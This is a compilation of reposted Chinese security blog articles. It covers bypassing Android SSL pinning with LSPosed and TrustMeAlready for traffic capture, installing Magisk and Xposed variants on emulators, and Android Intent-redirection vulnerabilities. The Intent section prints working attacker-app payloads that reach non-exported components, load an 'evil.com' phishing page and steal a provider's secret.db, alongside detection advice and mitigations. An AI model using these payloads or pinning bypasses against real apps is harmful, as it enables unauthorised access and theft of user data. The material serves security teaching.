apktool重新打包时报错_apktool 忽略错误信息__y4nnl2的博客-CSDN博客

Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

apksigner | Android 开发者 | Android Developers (google.cn)

APP 测试 - LSPosed 绕过 SSL 证书抓包

APP 测试 - LSPosed 绕过 SSL 证书抓包

本文转自LuckySec 并作补充

前言

前面介绍了通过《VirtualXposed 绕过 SSL 证书抓包》，这个方法有些局限性，比如不能在电脑上的《夜神模拟器》、《雷电模拟器》运行，需要一部测试手机等因素，对于部分人来说可能不太方便，还是更喜欢都在电脑上完成这系列操作，可以尝试用 LSPosed 绕过 SSL 证书抓包。

0x01 工具简介

LSPosed 是一个基于 Riru/Zygisk 的 ART Hook 框架，该框架利用 LSPlant 挂钩框架提供与 OG Xposed 一致的 API, 支持 Android 8.1 ~ 13。

Xposed 是一个模块框架，可以在不接触任何 APK 的情况下改变系统和应用程序的行为。利用 Xposed 的 TrustMeAlready 模块插件，可以防止软件检测抓包，绕过大部分 ssl-pinning，保证 APP 抓包的可续性能。

0x02 下载安装

特别提示：在安装之前需要注意以下几点：

0x03 抓包教程

注意：如果用雷电模拟器请使用 9.0.19 或之前的版本，避免不必要的问题发生。

以夜神模拟器为例，添加并运行一个 Android 9 的虚拟机。

image

在模拟器设置里将虚拟机设置为网络桥接模式、开启 ROOT（默认开启），设置好后重启虚拟机。

image

在夜神模拟器虚拟机里安装 Magisk.apk、Magisk Terminal Emulato.apk、app-debug.apk（安装成功不显示在主界面）、LSPosed-manager.apk。

image

打开 Magisk Terminal Emulator.apk，按照如下步骤操作：输入 m 按回车 > 再输入 y 按回车 > 超级用户授权允许 > 再输入 1 按回车 > 输入 a 按回车 > 再输入 1 按回车 > 完毕。

image

上述步骤完成后，重启模拟器，打开 Magisk.apk 可以发现 Magisk 安装成功。

image

打开 Magisk.apk > 点击右上角齿轮按钮 > 界面往下滑动，找到 Zygisk 选项打开并重启模拟器虚拟机。

image

接着将 LSPosed-v1.8.6-6712-zygisk-release.zip 复制到模拟器文件夹里面。打开 Magisk.apk > 底部模块选项 > 从本地安装 > 选择模拟器文件夹内的 LSPosed-v1.8.6-6712-zygisk-release.zip 卡刷包。

image

重启模拟器虚拟机后，打开 LSPosed-manager.apk，可以发现 LSPosed 安装成功了。

image

然后在夜神模拟器虚拟机里安装 TrustMeAlready-v1.11.apk，安装这个 apk 主界面图标可能会卡在安装的动画，不必在意，忽略即可。

image

接着打开 LSPosed-manager.apk 的底部模块选项，点击 TrustMeAlready，启动模块，选择要测试的 APP。

image

使用 BurpSuite 工具开启代理抓包，设置监听地址为同一局域网 IP 地址，端口自定义，不与电脑其他端口冲突使用即可。

image

在夜神模拟器手机系统设置中将 WiFi 的代理设置为 BurpSuite 监听器的地址。

image

最后，打开要测试的 APP，刷新功能页面，在 BurpSuite 中即可看到抓取的 HTTP/HTTPS 网络数据包。

image

参考文章

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

本文转自Genymotion Help Center 并作补充

Warning

GENYMOBILE assumes no liability whatsoever resulting from the download, install and use of Xposed, EdXposed, LSPosed and Magisk. Use at your own risk.

Note

Because Xposed and EdXposed are no longer maintained, we strongly recommend not using them anymore.

Android 5.0 - 7.1

Prerequisites

  • Xposed framework
  • Xposed installer

Installation

  1. Drag’n drop the Xposed framework zip file (xposed-vXX-sdkXX-x86.zip) to your virtual device display to flash the device.
  2. Drag’n drop Xposed Installer APK (XposedInstaller_*.apk). This should install and launch Xposed Installer application. At this stage, it will display that the Xposed framework is installed but disabled:

image

  1. Reboot the device with adb reboot command. Do not reboot from *Xposed Installer* as this will freeze the device.

  2. Launch Xposed installer. It should display “Xposed Framework version XX is active”:

image

Android 8.0

Xposed only works with Android 5.0 to 7.1. For Android 8.0, you need to use Magisk + Edxposed instead.

Prerequisites

Installation

Step 1: Install Magisk

  1. Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.
  2. Drag’n Drop Magisk_rebuilt_1c8ebfac_x86.zip and flash it.
  3. When flashing is complete, reboot the device.
  4. Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

image

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

image

  1. You will then be prompted with an update to apply, accept it:

image

  1. The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

image

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

  1. Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. Do not flash it! The archive must be installed from Magisk Manager.
  2. Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

image

  1. Click “install from storage”:

image

  1. Go to the Download folder from the menu:

image

  1. Select the Riru archive, riru-v25.4.4-release.zip
  2. Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

image

Important

Make sure NOT to update to Riru v26 as it does not work with EdXposed right now.

Step 3: Install EdXposed

  1. You can install EdXposed framework from Magisk Manager. Go to Magisk Manager module manager:

image

  1. Open the search widget and input “Edxposed”. Select Riru - EdXposed:

image

  1. Install the module:

image

  1. Reboot the device.

  2. Drag’n drop Edxposed manager APK file (EdXposedManager-4.5.7-45700-org.meowcat.edxposed.manager-release.apk) to the device display.

  3. Reboot the device

Edxposed manager should launch and display “Edxposed framework is active”:

image

Android 8.1 and above

Edxposed and Xposed are no longer maintained and there are no builds for Android 12 and above.

Instead, we will use LSPosed and Magisk for Android 8.1 and above.

Prerequisite

Installation

Step 1: Install Magisk

  1. Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.
  2. Drag’n Drop the flashable archive:
    • Magisk_rebuilt_1c8ebfac_x86.zip if you use Android 8.1 - 10
    • Magisk_rebuilt_1c8ebfac_x86_64.zip if you use Android 11 and above on a PC or an old Mac Intel
    • Magisk_rebuilt_1c8ebfac_arm64.zip if you use a mac M1/M2
  3. When flashing is complete, reboot the device.
  4. Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

image

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

image

  1. You will then be prompted with an update to apply, accept it:

image

  1. The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

image

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

  1. Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. The flashing process will fail, but this is normal. The archive must be installed from Magisk Manager.
  2. Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

image

  1. Click “install from storage”:

image

  1. Go to the Download folder from the menu:

image

  1. Select the Riru archive, riru-v25.4.4-release.zip

  2. Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

image

Step 3: Install Riru - LSPosed

  1. Drag and drop the LSPosed archive to the device. Do not flash it!
  2. Open Magisk Manager, go to the plugin manager page:

image

  1. click Install from storage and select LSPosed-v1.8.6-6712-riru-release.zip:

image

  1. Reboot the device when prompted

  2. Drag’n Drop LSPosed_manager.apk, LSPosed manager should open:

image

Android App安全之Intent重定向详解

Android App安全之Intent重定向详解

本文转自OPPO安珀实验室 并作补充

未导出组件和非导出组件

导出组件(公有组件)

导出组件一般有以下三种形式：

1
2
3
4
5
1.在AndroidManifest.xml中的组件如果显式设置了组件属性android:exported值为true;

2.如果组件没有显式设置android:exported为false，但是其intent-filter以及action存在，则也为导出组件;

3.API Level在17以下的所有App的provider组件的android:exported属性默认值为true，17及以上默认值为false。

任意第三方App都可以访问导出组件。

未导出组件(专用组件)

1.在AndroidManifest.xml中注册的组件显式设置android:exported=”false” ;

1
<activity android:name=".WebViewActivity" android:exported="false" />

2.组件没有intent-filter, 且没有显式设置android:exported的属性值，默认为非导出的;

1
<activity android:name=".WebViewActivity" />

3.组件虽然配置了intent-filter,，但是显式设置android:exported=”false”。

1
2
3
4
5
6
7
<activity android:name =".WebViewActivity" android:exported="false" >
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>

这三种组件称为专有组件或者未导出组件，三方应用无法直接调用这种组件。例如WebViewActivity中有以下代码：

1
2
3
4
5
6
7
protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
  // ... 
   Intent intent = getIntent();
   String Url = intent.getStringExtra("url");
   // ... 
   webView.loadUrl(Url);

第三方应用直接访问上述未导出的WebViewActivity组件来加载url，

1
2
3
4
intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ui.WebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

系统将会抛出java.lang.SecurityException, due to Permission Denial: WebViewActivity not exported from uid xxx.

Intent重定向

那么如果三方APP要想访问上述非导出的WebViewActivity是不是就没有办法了呢？

当然不是! 其中一种常见的方式即为在本文中介绍Intent重定向， 即将Intent类的对象作为Intent 的Extras通过一个导出组件传递给非导出的组件, 以此来实现访问非导出的WebViewActivity组件。

原理在于，Android 组件之间传输的Intent类是实现了Parcelable的。

1
public class Intent implements Parcelable, Cloneable {

因此可以将属于Intent类的对象作为Intent的 extra数据对象传递到另一个组件中，相当于在Intent中嵌入Intent。

这时，如果App从不可信 Intent 的Extras字段中提取出嵌入的 Intent，然后对这个嵌入 Intent 调用 startActivity（或类似的 startService 和 sendBroadcast），这样做是很危险的； 因为攻击者原本是无法访问非导出的组件的，但是通过intent重定向，即以导出的组件作为桥即可以访问非exported的组件，达到launch anywhere或者broadcast anywhere的目的。

其原理如下图所示:

image

Intent重定向违反了Android的安全设计，导致Android的安全访问限制（App的沙箱机制）失效。

Intent重定向可能导致以下安全问题：

1
2
3
1.启动非导出组件，通过精心构造的可控的Intent参数来执行敏感操作，如果可以重写或者替换native 库，甚至还会导致任意代码执行；

2.可以获取非导出的content provider组件的content：// URI的访问权限来窃取敏感文件.

接下来我们分别举三个例子来说明:

启动非导出组件

我们继续以上述的未导出的WebViewActivity为例子， 查找在App中是否存在导出Activity中包含了Intent重定向漏洞。刚好存在一个导出的com.victim.ui.HomeActivity组件符合预期。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void onResume() { 
   // ...  
   handleIntentExtras(getIntent()); 
   // 攻击者可以从外部输入任意intent
 }   
 private void handleIntentExtras(Intent intent) { 
    // ... 
    Intent deeplinkIntent = (Intent)intent.getParcelableExtra("extra_deep_link_intent"); 
    // ... 
    if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) { 
    / / ... 
        startActivity(deeplinkIntent); // 危险! 打开攻击者发送的Intent
     // ... 
  } 
 // ... 
 }

攻击者可以实现通过这个导出的HomeActivity访问任何受保护的未导出的Activity; 我们可以编写一个攻击App，将发向HomeActivity的Intent重定向到未导出的组件WebViewActivity中，让WebViewActivity的WebView加载攻击者的恶意链接，从而达到绕过Android的权限限制的目的。

1
2
3
4
5
6
7
8
Intent next = new Intent(); 
next.setClassName("com.victim", "com.victim.ui.WebViewActivity"); 
next.putExtra("extra_url", "http://evail.com"); // 加载攻击者的钓鱼网站
next.putExtra("extra_title", "test"); 

Intent intent = new Intent(); 
intent .setClassName("com.victim", "com.victim.ui.HomeActivity"); intent .putExtra("extra_deep_link_intent", next); // 嵌入Intent
startActivity(intent);

越权访问content provider

除了可以访问任意组件之外，攻击者还可以访问满足以下条件的APP的Content Provider的组件：

1
2
3
1.该组件必须是非导出的（否则可以直接攻击，无需使用我们在本文中讨论的模型）

2.组件还设置了android：grantUriPermissions为true。

同时，攻击者在实现攻击时，必须将自己设置为嵌入Intent的接收者，并设置以下标志：

1
2
3
4
5
6
7
1).Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION允许对提供者的持久访问（没有此标志，则访问仅为一次）

2).Intent.FLAG_GRANT_PREFIX_URI_PERMISSION允许通过前缀进行URI访问。

3).Intent.FLAG_GRANT_READ_URI_PERMISSION允许对提供程序进行读取操作（例如query，openFile，openAssetFile）

4).Intent.FLAG_GRANT_WRITE_URI_PERMISSION允许写操作

比如在App中有一个非导出的file provider, 该provider在其私有目录的database路径下保存了secret.db文件，该文件中保存了用户的登录账号信息。

该file provider的设置如下：

1
2
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.android.victim" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/></provider>

为了简便起见，APP的资源文件res/xml/provider_paths文件的配置为

1
2
3
<paths>
    <root-path name="root" path="/"/>
</paths>

我们无法直接访问file provider， 但是可以通过Intent重定向来窃取secret.db文件。

payload如下:

1
2
3
4
5
6
7
8
9
10
Intent next= new Intent();
next.setClassName(getPackageName(), "com.Attacker.AttackerActivity"); 
// 设置为攻击者自己的组件
next.setData(Uri.parse("content://com.victim.localfile/secret.db")); 
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION |   Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION  | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION); 
// 添加所有可以访问content provider的读写flag

Intent intent = new Intent();
intent.setClassName("com.victim.localfile", "com.victim.localfile.LoginActivity"); intent.putExtra("com.victim.extra.NEXT_INTENT", next); 
startActivity(intent);

通过WebView访问任意组件

通常我们可以通过调用Intent.toUri（flags）方法将Intent对象转换为字符串，同时可以使用Intent.parseUri（stringUri，flags）将字符串从字符串转换回Intent。此功能通常在WebView（APP内置浏览器）中使用。APP可以解析intent:// 这种类型的scheme，将URL字符串解析为Intent对象并启动相关的Activity。

漏洞代码示例:

1
2
3
4
5
6
7
8
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
return super.shouldOverrideUrlLoading(view, request);
}

要利用此漏洞，攻击者可以通过Intent.Uri方法创建一个WebView重定向Intent 的url，然后让WebViewActivity去加载该Url，由于在shouldOverrideUrlLoading方法中没有做完整的校验，会存在Intent重定向漏洞。

1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.WebViewActivity");i
ntent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); 
//"intent:#Intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

// 攻击代码
location.href = "intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

查看此类漏洞的方法

如何在App中快速的找到此类漏洞呢？我们可以从以下三个方面入手:

1.在App中查找导出组件，并且检查该组件是否接收从外部输入的Intent对象。

2.在上述组件中查找对startActivity（或 startService 和 sendBroadcast）的调用，并验证其Intent组件是否是从受信任的数据对象来构造的。

3.查找Intent 的 getExtras方法的调用，是否有将该方法的返回值强制转换为Intent；并在使用这种嵌入的Intent之前进行了完整的校验。

漏洞缓解方法

那么，如何缓解Intent重定向漏洞呢 ？

方法1：将受影响的应用组件设为专用组件。

如果受影响的应用组件不需要接收来自其他应用的 Intent，可以将此应用组件设为专用组件，只需在清单中设置 android:exported=“false” 即可。

方法2：确保提取的Intent来自可信的来源。

可以使用 getCallingActivity 等方法来验证源 Activity 是否可信。

例如：

1
2
3
4
5
6
7
8
// 检查源 Activity 是否来自可信的包名
 if (getCallingActivity().getPackageName().equals(“known”)) {
   Intent intent = getIntent();
   // 提取嵌套的 Intent
   Intent forward = (Intent) intent.getParcelableExtra(“key”);
   // 重定向嵌套的 Intent
   startActivity(forward ) ;
 }

注意：检查 getCallingActivity() 是否返回非null值并不足以防范此漏洞。恶意App可以为此函数提供 null 值，最好加上APP的签名校验。

方法3：确保要重定向的Intent是无害的。

需要先验证重定向的Intent，确保该 Intent

1.不会被发送到APP的任何专用组件

2.不会被发送到外部应用的组件。如果重定向的目标是外部应用，请确保该 Intent 不会向APP的私有content provider授予URI权限。

在重定向 Intent 之前，应用可以先使用resolveActivity等方法检查将使用哪个组件来处理该 Intent。

例如：

1
2
3
4
5
6
7
8
9
10
11
Intent intent = getIntent();
 // 提取嵌套的 Intent
 Intent forward = (Intent) intent.getParcelableExtra(“key”);
 // 获取组件名称
 ComponentName name = forward.resolveActivity(getPackageManager());
 // 检查软件包名称和类名称是否符合预期
 if (name.getPackageName().equals(“safe_package”) &&
     name.getClassName().equals(“safe_class”)) {
   // 重定向嵌套的 Intent
   startActivity(forward);
 }

App可以使用getFlags等方法来检查 Intent 是否会授予 URI 权限。应用还可以使用removeFlags撤消 URI 权限的授予。

例如：

1
2
3
4
5
6
7
8
9
10
// 提取嵌套的 Intent
 Intent forward = (Intent) intent.getParcelableExtra(“key”);
 // 获取标记
 int flags = forward.getFlags();
 // 检查嵌套的 Intent 不能授予 URI 读写权限
 if (( flags & Intent.FLAG_GRANT_READ_URI_PERMISSION == 0) &&
     (flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION == 0)) {
    / / 重定向嵌套的 Intent
       startActivity(forward);
 }

参考

[1] Intent Redirection Vulnerability https://support.google.com/faqs/answer/9267555?hl=en

[2] #272044 Android - Access of some not exported content providershttps://hackerone.com/reports/272044[3] #200427 Access of Android protected components via embedded intenthttps://hackerone.com/reports/200427[4] Intent.toUrihttps://developer.android.com/reference/android/content/Intent#toURI()